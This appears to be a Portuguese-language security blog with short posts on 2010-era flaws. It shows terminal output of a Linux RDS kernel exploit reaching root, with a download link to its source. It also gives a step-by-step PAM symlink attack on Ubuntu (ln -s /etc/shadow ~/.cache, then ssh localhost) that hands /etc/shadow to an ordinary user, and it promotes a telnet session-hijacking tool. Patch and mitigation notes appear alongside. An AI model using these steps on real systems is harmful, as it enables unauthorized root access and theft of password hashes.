trash@trash-desktop:~/k-2.6$ ls

linux  linux.c

trash@trash-desktop:~/k-2.6$ ./linux

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

[*] Resolving kernel addresses…

[+] Resolved rds_proto_ops to 0xf81c9980

[+] Resolved rds_ioctl to 0xf81c3090

[+] Resolved commit_creds to 0xc016dcc0

[+] Resolved prepare_kernel_cred to 0xc016e000

[*] Overwriting function pointer…

[*] Triggering payload…

[*] Restoring function pointer…

[*] Got root!

# id

uid=0(root) gid=0(root)

#

Simples… Um alternativa é desabilitar o módulo RDS da inicialização do Kernel ou aplicar o patch que esta disponível via git…

# “alias net-pf-21 off” > /etc/modprobe.d/disable-rds

Download do exploit: linux.c

[]‘s

Sergito

Um bug bem interessante para Iphone 4, ele te permite fazer ligações mesmo bloqueado com senha, onde “somente” permite ligações para números de emergência… Vejam no link abaixo:

[]‘s

Sergito

Semana passada surgiu um bug no Windows que afetava diretamente os links, isso mesmo!!  algum hacker podem usar um arquivo de atalho malicioso, identificado pela extensão “.lnk”, para automaticamente executar o malware. Até a data de Hoje, não há correção para a falha que afeta desde o Windows 2000 até as versões do Windows 7.

Alguns papers explicam como mitigar o ataque, um exemplo é o paper escrito pelo Didier stevens (http://blog.didierstevens.com/2010/07/20/mitigating-lnk-exploitation-with-srp/), mas como o tópico não fala diretamente disso, eu acabei linkando com esse assunto pois uma falha que surgiu a umas semanas atrás, que afeta o módulo do PAM no Ubuntu LTS utiliza os links para poder ser explorada. Já com um patch publicado é aconselhável aplica-lo, explorando a falha não é possível escalar privilégios diretamente, mas é possível ler o /etc/shadow, e dai em diante……… =D Vejam abaixo:

trash@trash-desktop:~$ id
uid=1000(trash) gid=1000(trash) grupos=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(trash)
trash@trash-desktop:~$ rm -rf .cache/
trash@trash-desktop:~$ ls -la /etc/shadow
-rw-r—– 1 root shadow 1289 2010-07-31 17:19 /etc/shadow
trash@trash-desktop:~$ ln -s /etc/shadow ~/.cache
trash@trash-desktop:~$ ssh localhost
The authenticity of host ‘localhost (::1)’ can’t be established.
RSA key fingerprint is 86:cb:81:06:41:72:c4:f5:0f:7d:56:7f:5e:82:72:26.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘localhost’ (RSA) to the list of known hosts.
trash@localhost’s password:
Linux trash-desktop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
Ubuntu 10.04 LTS
Welcome to Ubuntu!
* Documentation:  https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Jul 25 04:18:47 2010 from localhost
trash@trash-desktop:~$ ls -la /etc/shadow
-rw-r—– 1 trash trash 1289 2010-07-31 17:19 /etc/shadow
trash@trash-desktop:~$ tail /etc/shadow =)

Simples assim…

Patch: http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/karmic/pam/karmic-updates/revision/58

Referência: http://www.ubuntu.com/usn/usn-959-1

[]‘s

Sergito

Uma ferramenta muito bem desenvolvida em perl, capaz de capturar os pacotes entre dois hosts by-passando senhas. Funcional somente em conexões sem criptografia, o programa consegue interceptar a negociação entre os 2 hosts e capturar os comandos enviados e o retorno do mesmo em um acesso remoto via telnet por exemplo.

       +--------+                                 +--------+
       | SERVER | <.......T..E..L..N..E..T......> | CLIENT |
       |10.0.0.1| --------------+  +--------------|10.0.0.2|
       +--------+               |  |              +--------+
                                |  |
                              +------+
                              |SWITCH|
                              +------+
                                 |
                                 |
                             +--------+
                             |ATTACKER|
                             |10.0.0.3|
                             +--------+
Download: http://packetstormsecurity.org/sniffers/shijack.tgz
Paper Completo: http://packetstormsecurity.org/papers/attack/tcp-session-hijacking_en.txt
[]'s
Sergito